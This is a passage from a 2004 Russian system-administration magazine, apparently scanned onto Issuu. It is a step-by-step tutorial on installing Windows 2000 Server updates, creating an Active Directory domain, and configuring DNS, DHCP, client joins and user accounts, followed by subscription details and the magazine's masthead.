Дополнительно → Адаптер → Список всех режимов. Выбираем необходимое сочетание Разрешения/Глубины цвета/Частоты. Частоту выставляем не менее 85 Гц, если позволит монитор. Нажимаем «Применить». Если после мигания изображение осталось на экране и является качественным, соглашаемся с сохранением этой частоты. Помните, что LCD-мониторы работают с частотой 60-75 Гц. Наилучший выбор достигается визуально и по техническому описанию модели. Устанавливаем необходимые обновления системы: Service Pack и Hotfixes. Всегда необходимо иметь пакеты критических обновлений на диске (таких как заплатки от вирусов MSBlast, он же Blaster, и Lsasser). При наличии доступа в Интернет можно установить обновления автоматически. Сразу после установки необходимого Service Pack (лучше ставить с диска, чтобы не расходовать трафик и время) и перезагрузки заходим на сайт www.windowsupdate.com Об этом будет рассказано позже. Устанавливаем последний Service Pack (на момент написания статьи это был SP4), принимаем условия соглашения, выбираем «Архивировать файлы» (необходимо для возможной отмены установки SP4). Отдыхаем 5-10 минут. После окончания установки перезагружаем компьютер. Дистрибутив Service Pack также скидываем в нашу папку с дистрибутивами. Если вы не хотите, чтобы компьютер без вашего ведома проверял наличие обновлений на сайте Microsoft, то необходимо зайти в «Панель управления», выбрать Windows Update и снять галку «Выполнять обновление системы». Иначе – галку оставляем. Помните, что если вы оплачиваете интернет-трафик, то галка «Скачивать и устанавливать автоматически» может его неожиданно увеличить. Теперь установим дополнительные обновления безопасности. Есть два способа установки этих обновлений: автоматически через Интернет или скачав и установив их самостоятельно.

№10(23), октябрь 2004

! Нахождение, закачка и установка обновлений вручную. Список необходимых обновлений по степени их важности можно найти так: заходим на http://www.microsoft.com/ technet/security/current.aspx и выбираем то, что у нас установлено. Например, Windows 2000 Server RUS + SP4. Затем выбираем степень важности. В принципе обычно достаточно степени «Critical», если у вас очень медленная скорость закачки. После закачки необходимо вручную установить все обновления. ! Автоматическая установка обновлений. Итак, открываем Internet Explorer и набираем адрес: www.windows update.com Соглашаемся с предложением установить Windows Update. Жмем «Поиск и просмотр обновлений». После сообщения о нахождении обновлений выбираем «Просмотр и установка обновлений». Вам будет предложено установить найденные обновления. Некоторые (например, IE 6.0) могут требовать отдельной установки. Вообще, Internet Explorer 6.0 тоже рекомендуется иметь на диске, чтобы не качать его из Интернета. Итак, после нахождения обновлений нажимаем на «Критические обновления и пакеты обновлений» и выбираем «Установить». Система сама скачает и установит все необходимые файлы. Если же канал в Интернет медленный, то лучше устанавливать все с диска (критические обновления для W2K Server SP4 на момент написания этой статьи занимают 21 Мб). Устанавливаем последнюю версию Internet Explorer, если не установили до этого. Перезагружаемся. Все. На этом основная установка Windows завершена. Дальнейшие действия зависят от того, какую роль будет выполнять наш сервер: контроллер домена, сервер терминалов, файл-сервер домена, шлюз в Интернет или просто файл-сервер для маленькой рабочей группы.

Контроллер домена Сделаем из нашего сервера контроллер домена. Для этого он должен быть включен в сеть и ему присвоен IP-адрес (например, 192.168.0.1, как описывалось выше). Если для экономии времени вы создаете сервер для клиента в своей технической лаборатории, то подключать к нему кабель своей локальной сети не следует. Однако создать на таком сервере домен все равно возможно. Для этого зайдем в редактор реестра (regedit) и создадим следующий параметр: в ветке HKLM\System\CurrentControlSet\Services\ Tcpip\Parameters параметр DisableDHCPMediaSense (тип REG_DWORD). Его значение нужно установить в «1». Перезагрузим компьютер. Создавать этот ключ необходимо только если компьютер не подключен к локальной сети (сетевой карте другого компьютера). Если наш сервер подключен к нужной сети, то данный параметр создавать не надо. Теперь поднимаем роль сервера до контроллера домена. Это нужно, если нам необходимо присвоить чужому (создаваемому для клиентов) серверу IP-адрес, который уже существует в сети. Такой сервер нельзя подключать к используемым сетевым коммутаторам, так как это спровоцирует конфликт IP-адресов в системе. Входим в систему с учетной записью «Администратор» (или другой, обладающей полномочиями администратора).

91


образование В меню «Пуск» выбираем «Выполнить» и вводим команду DCPROMO. Запустится мастер. Выбираем Контроллер домена в новом домене → Создать новое доменное дерево → Создать новый лес доменных деревьев. Затем вводим имя домена. Внимание! Имя домена внутри локальных сетей может быть любым. Крайне рекомендуется присвоить вашему домену расширение *.local, тогда он гарантированно не будет конфликтовать с другими именами в Интернете. Практически во всех случаях создания локальных сетей со стандартными задачами рекомендуется присваивать доменному имени расширение «local». Не присваивайте доменам имена типа firma.ru (или любым другим расширением, имеющим прописку в виде зоны Интернета), кроме тех случаев, когда вы на 100% уверены, что это вам понадобится. Как показывает практика, это может понадобиться в крайне редких случаях, например, при организации фирмы по хостингу чужих сайтов. Если вы не собираетесь становиться интернет-провайдером (а я уверен, что не собираетесь, иначе не читали бы эту статью) – присваивайте своему домену расширение «local». Эта зона специально создана для локальных сетей. Не обращайте внимания на предложение мастера создания домена: «Если ваша фирма уже имеет DNS-имя домена, зарегистрированное в Интернете, то можно ввести его». Использование зарегистрированных в Интернете имен не рекомендуется. Иначе если ваш сайт, почта и прочее хранятся у провайдера, а не в вашей сети – придется вручную прописывать в DNS-зону соответствие их имен и IP-адресов. Итак: вводим имя, например, firma.local, NETBIOS-имя домена оставляем, как предложено, – без суффикса «local». Соглашаемся с предложением мастера разместить базу данных и журнал на нашем системном диске (он обязательно должен быть отформатирован в системе NTFS, как описывалось ранее). То же самое с папкой SYSVOL. Жмем «Далее». Получаем сообщение об отсутствующем DNS-сервере и нажимаем «ОК». С предложением «Автоматически установить и настроить DNS» соглашаемся. Если в нашей сети нет домена на основе Windows NT 4 Server, то выбираем «Разрешения, совместимые только с серверами Windows 2000». Вводим пароль для восстановления Active Directory на случай аварии. Просматриваем итоговую информацию и подтверждаем свой выбор для начала создания записей и служб AD. Создание домена занимает некоторое время (примерно 5-15 минут). Во время установки может потребоваться дистрибутив Windows 2000 Server (для таких случаев и необходимо копировать его на жесткий диск – вдруг под рукой не окажется). Указываем мастеру путь в скопированную папку I386. После завершения создания домена будет предложено перезагрузить компьютер. После установки Active Directory у нас добавится несколько новых журналов событий. Увеличиваем их размер и изменяем настройки, как было описано выше.

Настройка DNS-сервера После перезагрузки заходим в систему с полномочиями Администратора домена. Затем Пуск → Программы → Администрирование → DNS. Откроется консоль управления DNSсервером. Если подменю «Администрирование» в меню

92

«Пуск → Программы» отсутствует, то его можно туда добавить, щелкнув правой клавишей по панели задач Свойства → Дополнительно → Параметры меню «Пуск» → Ставим галку «Отображать меню Администрирование». Раскрываем ветку нашего сервера. Если мы будем настраивать и общий доступ в Интернет, то раскрываем «Зоны прямого просмотра» и удаляем зону «.» (точка). Зоны «.» может и не быть, если компьютер во время настройки DNSсервера был подключен к Интернету). Если настройку общего доступа в Интернет производить не будем – оставляем как есть. Затем раскрываем «Зоны обратного просмотра». Они пусты. Правой клавишей – «Создать новую зону – Интегрированная в Active Directory». В качестве «Кода сети (ID)» задаем подсеть. В нашем случае 192.168.0. Нажимаем «Готово». Сворачиваем оснастку DNS. Открываем свойства Сетевого окружения и вводим в свойствах TCP/IP нашей сетевой карты в качестве адреса DNS-сервера IP-адрес нашего сервера (192.168.0.1). Нажимаем «ОК» и закрываем свойства сетевого окружения. Разворачиваем оснастку DNS. Раскрываем зоны прямого просмотра и выделяем зону firma.local. Щелкаем по ней правой клавишей – Свойства. В окне «Общие» – «Динамическое обновление» изменяем значение с «Только безопасные обновления» на «Да». То же самое проделываем с зоной обратного просмотра 192.168.0.x Subnet. Затем открываем командную строку и вводим: ipconfig /registerdns

Получаем сообщение о том, что «Начата регистрация записей ресурсов DNS…». Закрываем командную строку. Открываем оснастку DNS, выделяем «Зону прямого просмотра» firma.local и убеждаемся, что справа появилась новая запись типа «Узел» с именем и IP-адресом нашего сервера. Затем переходим на нашу зону обратного просмотра. В ней должна появиться запись типа «Указатель», также соответствующая нашему серверу. Теперь проверим корректность настройки нашего DNSсервера. Помните, что домены Windows 2000/2003 (Active Directory) полностью основаны на DNS, и некорректная настройка DNS-сервера на этом этапе может вызвать дальнейшие ошибки домена, вплоть до его полной неработоспособности. Корректность настройки проверяется из командной строки: nslookup <èìÿ_íàøåãî_ñåðâåðà> nslookup <IP_íàøåãî_ñåðâåðà>

В обоих случаях должен быть одинаковый результат, содержащий имя и IP-адрес DNS-сервера, обработавшего запрос, а также имя и IP-адрес запрошенного сервера (у нас на данном этапе они должны совпадать). Если результат отличается от приведенного, и мы видим только один IP-адрес/имя сервера, то наш DNS-сервер настроен некорректно! Пример корректного результата выполнения проверки: C:\>nslookup Server Server: Server.firma.local Address: 192.168.0.1 Name: Server.firma.local Address: 192.168.0.1


образование C:\>nslookup 192.168.0.1 Server: Server.firma.local Address: 192.168.0.1 Name: Server.firma.local Address: 192.168.0.1

Все! Основа домена построена и остается только добавить пользователей и компьютеры. Для удобства автоматизируем получение клиентами IP-адресов (очень удобно, так как не придется протоколировать, какие IP-адреса в нашей сети уже присвоены, а какие свободны). Обратите внимание, что по умолчанию на клиентах в свойствах сетевой карты стоят галочки на «Регистрировать это подключение в DNS». Они должны стоять, только если вы подняли собственный DNS-сервер внутри домена и на этом сервере в созданной вами зоне разрешено динамическое обновление. У клиентов при этом в качестве DNSсервера должен быть прописан только он (в нашей статье описана именно такая конфигурация). Во всех остальных случаях эту галку надо снимать, так как клиент будет пытаться зарегистрировать себя у провайдера и выше, создавая ненужный вам трафик, а провайдеру – ненужные запросы.

Настройка DHCP-сервера

Пуск → Программы → Администрирование → DHCP. В консоли выделяем наш сервер (server.firma.local), который отображается красной стрелочкой. Щелкаем правой клавишей мыши по нему – «Создать область». Вводим ее название, например «firma», и жмем «Далее». Вводим начальный и конечный диапазон IP-адресов, которые мы хотим выделить нашим клиентам. Например, начальный адрес – 192.168.0.10 (оставляем 10 запасных адресов под сервера), конечный адрес – 192.168.0.100 (оставляем 155 адресов на случай расширения и создания еще одного сервера DHCP). Предлагаемую маску меняем на 255.255.255.0. Остальное оставляем как есть. Нажимаем «Далее». Диапазон исключаемых адресов пропускаем. Срок аренды оставляем 8 дней. Соглашаемся с предложением настроить сейчас дополнительные параметры этой области. В качестве IP-адреса маршрутизатора указываем IP-адрес нашего шлюза в Интернет (тот, что задается вручную в поле «Шлюз по умолчанию») или оставляем это поле пустым, если выхода в Интернет у нас нет. Затем задаем родительский домен (firma.local) и адрес DNS-сервера (192.168.0.1). Поле «WINS-Серверы» оставляем пустым (если мы не используем WINS-сервер для обслуживания клиентов W9x). Отвечаем «Да, я хочу активизировать эту область сейчас». Закрываем окно мастера. В консоли DHCP опять кликаем правой клавишей по нашему серверу и выбираем «Авторизовать». Ждем несколько минут и нажимаем <F5> (обновить). Стрелочка на нашем сервере должна стать зеленой. Если этого не произошло – закройте консоль DHCP, затем через несколько минут откройте заново и нажмите <F5>. Стрелка должна поменять цвет на зеленый. Настройка DHCP-сервера закончена. Приступим к настройке клиентов.

Настройка клиентов Подразумевается, что на всех клиентах установлены операционные системы Windows 2000 и выше.

№10(23), октябрь 2004

На каждом клиенте регистрируемся с правами локального администратора, заходим в свойства сетевого окружения, выбираем свойства сетевого подключения по локальной сети и редактируем свойства «Протокола Интернета (TCP/IP)». Задаем всем клиентам «Получить IP-адрес автоматически» и «Получить адрес DNS-сервера автоматически». После этого перезагружаем каждого клиента. Можно обновить параметры, и не прибегая к перезагрузке, – написав в командной строке: ipconfig /renew

DHCP-сервер автоматически выдаст каждому клиенту IPадрес из заданного вами диапазона, а также присвоит адреса шлюза по умолчанию и DNS-сервера. Если по каким-либо причинам вы не используете DHCPсервер или хотите присвоить одному из клиентов (например, другому серверу, входящему в домен) IP-адрес вручную, задайте IP-адрес из нашего диапазона, а также шлюз по умолчанию, и обязательно(!) адрес DNS-сервера (в нашем примере его адрес – 192.168.0.1). После перезагрузки вводим клиентов в домен. Для Windows 2000/XP: правой клавишей по Мой компьютер → Свойства → Сетевая идентификация → Свойства. Проверяем имя компьютера. Оно обязательно должно быть написано латинскими буквами, без пробелов и спецсимволов, запрещенных к применению в именах клиентов. Если это не так, то переименовываем и перезагружаем компьютер. Затем ставим галочку «Является членом домена» и задаем имя нашего домена: firma.local. Система потребует ввести имя и пароль пользователя, имеющего право на введение компьютеров в домен. Вводим «Администратор» и наш пароль. Через некоторое время вы увидите приглашение в домен и предложение перезагрузить компьютер. Если этого не произошло – проверьте, воткнут ли сетевой кабель в сервер, в клиентский компьютер, и включены ли они оба. Также необходимо проверить корректность настройки протокола TCP/IP. В командной строке даем команду: ipconfig /all и смотрим результат. Среди выданной информации находим нужную нам – об IP-адресе, маске, шлюзе и DNS-сервере. Она должна быть примерно такой: IP-адрес Маска подсети Основной шлюз DNS-серверы

. . . . . . . . . . : 192.168.0.11 . . . . . . . . . . : 255.255.255.0 . . . . . . . . . . : 192.168.0.254 . . . . . . . . . . : 192.168.0.1

Если в поле IP-адрес стоит что-то типа: 169.254.xxx.xxx – ваш клиент не смог получить от DHCP-сервера IP-адрес. Проверяйте работоспособность DHCP-сервера и физической сети (проводов). Если же все нормально, то проверяем настройку DNS-сервера, как описано выше, в разделе DNSсервер. Если проблемы есть, первым делом проверьте, не остановлены ли на сервере службы DHCP и DNS (некоторые любят «улучшать параметры», удаляя или останавливая неизвестные им службы). После введения клиента в домен и перезагрузки в окне входа выбираем «Дополнительно» и меняем <Имя компьютера> (этот компьютер) на название нашего домена (FIRMA). После чего вводим имя пользователя и пароль и входим в систему. Пользователей необходимо завести на контроллере домена.

93


образование Настройка домена, заведение пользователей Первым делом переводим контроллер домена в основной режим (NATIVE-MODE). Убедитесь, что в вашем домене отсутствуют другие контроллеры домена под управлением Windows NT 4 Server. Затем открываем Пуск → Программы → Администрирование → Active Directory → Пользователи и компьютеры. Если меню «Администрирование» в «Программах» нет, то можно найти его в «Панели управления» или щелкнув правой клавишей по панели задач – Свойства → Дополнительно → Отображать меню «Администрирование». В оснастке Active Directory → Пользователи и компьютеры правой клавишей кликаем по нашему домену и выбираем «Свойства». Пункт Общие → Режим работы домена. У нас установлен «Смешанный режим». Нажимаем «Сменить режим» и соглашаемся с предупреждением о необратимости операции. Теперь настроим синхронизацию времени с контроллером домена на клиентах с операционными системами ниже, чем Windows 2000. Создадим на системном диске папку, например, Apps. В ней создаем текстовый файл с расширением *.bat. Обратите внимание, чтобы у файла не было двойного расширения, так как стандартная команда «Создать – Текстовый файл» создает именно *.txt-файл, а по умолчанию Windows скрывает расширения. Исправляем это: в «проводнике» – Сервис → Свойства папки → Вид – снимаем галочку «Скрывать расширения для зарегистрированных типов файлов». Создаем в нашей папке Apps текстовый файл logon.bat, открываем его и вводим в него следующие команды: @echo off net time \\server /set /yes

где вместо «server» вставляем имя созданного нами сервера, если назвали его иначе. Сохраняем файл. Затем снова открываем консоль Active Directory → Пользователи и компьютеры и вызываем свойства нашего домена, как при переводе в основной режим. Открываем закладку «Групповая политика» и нажимаем «Изменить». Откроется консоль «Групповая политика». Конфигурация пользователя → Конфигурация Windows → Сценарии (вход и выход). Дважды щелкаем на Вход в систему → Добавить → Обзор. Выделяем в маске выбираемых файлов «Все файлы» и проводником находим наш файл «logon.bat». Выбираем его и нажимаем дважды «ОК». Закрываем окно «Групповая политика» и в открытом нами окне «Свойства» нажимаем «Применить», затем «ОК». Клиенты домена с ОС Windows 2000 и выше – автоматически синхронизируют время с контроллерами домена. В открытой консоли «Active Directory → Пользователи и компьютеры» раскрываем значком «+» наш домен. Затем правой клавишей по корню домена (firma.local) – Создать → Подразделение. Вводим имя нового подразделения, например All_Users. В него мы будем помещать всех пользователей нашего домена и другие вложенные подразделения. Это необходимо для дальнейшего создания и редактирования групповых политик, при помощи которых можно автоматически присваивать необходимые параметры и настройки компьютерам и пользователям домена.

94

Теперь щелкаем правой клавишей по созданному нами подразделению All_Users и снова выбираем Создать → Подразделение. Вводим имя подразделения администраторов домена, например, Admins. Затем щелкаем по подразделению Admins правой клавишей – Свойства. Переходим на закладку «Групповая политика». Выставляем галку Блокировать наследование политики → Применить → ОК. Это необходимо сделать для того, чтобы заданные для всех ограничения не распространялись на администраторов домена. Иначе можно с удивлением обнаружить, что вы с полномочиями администратора домена также не имеете прав на изменение каких-либо настроек. Теперь заведем полноценного администратора домена, на которого не будут распространяться общие групповые политики. Снова щелкаем правой клавишей по Admins → Создать → Пользователь. Вводим имя и фамилию, а также имя для входа в систему (logon name). Щелкаем «Далее», вводим и подтверждаем пароль этого пользователя. Жмем Далее → Готово. Созданный нами пользователь появится в правой части консоли при открытии подразделения Admins. Щелкаем по нему правой клавишей и выбираем «Свойства». Закладка Член групп → Добавить. Добавляем все группы администраторов. Несмотря на то что группа «Администраторы» уже включает в себя подгруппы «Администраторы домена» и «Администраторы предприятия», лучше продублировать их для предотвращения возможных ошибок исключения из групп. Жмем «ОК» и в появившемся списке выделяем «Администраторы предприятия». Щелкаем по кнопке «Задать основную группу». Затем выделяем группу «Пользователи домена» и жмем «Удалить». Подтверждаем свой выбор. Выходим из окна «Свойства», нажав «ОК». Закрываем оснастку Active Directory → Пользователи и компьютеры. Мы создали домен и первого пользователя в нем. Эту учетную запись вы будете использовать для администрирования домена. Внимание! Помните, что работать повседневно под учетной записью, имеющей полномочия «Администратора домена» крайне неразумно! Она должна использоваться только для произведения изменений в домене. Для запуска приложений от имени другой учетной записи необязательно завершать текущий сеанс. Удерживая клавишу <Shift>, щелкните по ярлыку вашего приложения правой клавишей мыши. Выбрав «Запуск от имени…», введите необходимые учетные данные. Приложение запустится с привилегиями этой учетной записи. Очень удобно применять, например, для изменения информации при помощи файловых менеджеров. Не забудьте закрыть приложение после произведения всех необходимых действий. Теперь создадим нашу первую пользовательскую учетную запись. Выделяем подразделение All_Users, правой клавишей – Создать → Пользователь. По описанной аналогии создаем для себя пользователя, под которым вы будете работать повседневно. При этом не добавляем пользователю членств в группах – он автоматически будет включен в группу «Пользователи домена». Все! Дальнейшее заведение пользователей аналогично описанному примеру. В следующем номере мы рассмотрим пример настройки сервера приложений (сервер терминалов).


подписка на I полугодие 2005 Российская Федерация ! Подписной индекс: 81655 !

!

!

Каталог агентства «Роспечать» Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» Альтернативные подписные агентства: Агентство «Интер-Почта» (095) 500-00-60, курьерская доставка по Москве Агентство «Вся Пресса» (095) 787-34-47 Агентство «Курьер-Прессервис» Подписка On-line http://www.arzy.ru http://www.gazety.ru http://www.presscafe.ru

! Узбекистан – по каталогу «Davriy nashrlar» российские

! !

! !

СНГ В странах СНГ подписка принимается в почтовых отделениях по национальным каталогам или по списку номенклатуры АРЗИ: ! Казахстан – по каталогу «Российская Пресса» через ОАО «Казпочта» и ЗАО «Евразия пресс» ! Беларусь – по каталогу изданий стран СНГ через РГО «Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

!

издания через агентство по распространению печати «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик, 5/3, офис 33) Азербайджан – по объединенному каталогу российских изданий через предприятие по распространению печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарьяна, 22) Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42) Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134) по списку через ГУП «Почта Приднестровья» (МD-3300, г.Тирасполь, ул.Ленина, 17) по прайслисту через ООО Агентство «Editil Periodice» (2012, г.Кишинев, бул. Штефан чел Маре, 134) Подписка для Украины: Киевский главпочтамп Подписное агентство «KSS» Телефон/факс (044)464-0220

Подписные индексы:

81655 по каталогу агентства «Роспечать»

87836 по каталогу агентства «Пресса России»

№10(23), октябрь 2004

95


СИСТЕМНЫЙ АДМИНИСТРАТОР №10(23), Октябрь, 2004 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редактор Андрей Бешков РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 7000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

96

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Заметки о Linare «Заметки о Linare» открывают цикл статей, посвященных настольным дистрибутивам Linux. Вопрос об использовании Linux на клиентских местах обсуждается сейчас очень широко – создается такое впечатление, что каждое уважающее себя аналитическое агентство считает своим долгом подготовить исследование, дающее исчерпывающий ответ на вопрос, когда Windows окончательно сдаст свои позиции, сколько это будет стоить и случится ли вообще. Не отстают и гиганты индустрии: «тяжеловесы» вроде Novell и Sun Microsystems выпускают собственные разработки с обязательной приставкой «Desktop». Мы же, в свою очередь, попробуем рассмотреть этот феномен с позиций конечного пользователя. Чем настольный Linux отличается от своих «ненастольных» аналогов? Как ведет себя в работе тот или иной дистрибутив, можно ли использовать его для решения определенного кргуа задач? Вот те вопросы, на которые мы попытаемся дать ответ.

Пакетный фильтр OpenBSD В статье пойдет речь о возможностях и особенностях настройки пакетного фильтра Packet Filter (PF), входящего в стандартный дистрибутив системы OpenBSD, начиная с версии 3.0.

Создание сценария регистрации пользователей в сети В предыдущих статьях я рассказывал о том, как автоматизировать различные процессы в сети. Решение поставленной задачи нетривиально и состоит из нескольких частей. Одной из них является сценарий регистрации пользователей в сети. По своему характеру она носила концептуальный характер, однако на форуме журнала читатели дали понять, что концепция – это хорошо, но необходимо привести конкретный пример. Пришла пора сложить недостающие кусочки мозаики в одно целое и подробно рассказать о теоретических и практических аспектах его создания и особенностях внедрения.

Вы можете приобретать журналы в магазинах и торговых точках г. Москвы по адресам: ! ! ! !

Магазин «Компьютерная и деловая книга» (Ленинский проспект, строение 38). Выставочный компьютерный центр «Савеловский» (Киоск у главного входа). Выставочный компьютерный центр «Буденовский». Книжная ярмарка «Центральная». Mагазин «Деловая и учебная литература» (м. Тульская, Варшавское шоссе, д.9. эт. 5, павильон 515-09). ! ТЦ «Электроника на Пресне». Mагазин «Техкнига» (павильон 8-9). ! Редакция «Учительская газета» (Ананьевский переулок, д. 4/2, стр. 1).

On-line магазины: ! ! ! !

www.allsoft.ru www.linuxcenter.ru www.linuxshop.ru www.bolero.ru

Уважаемые читатели! НЕ ПРОПУСТИТЕ ПОДПИСКУ на первое полугодие 2005 года подробная информация на стр. 95


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.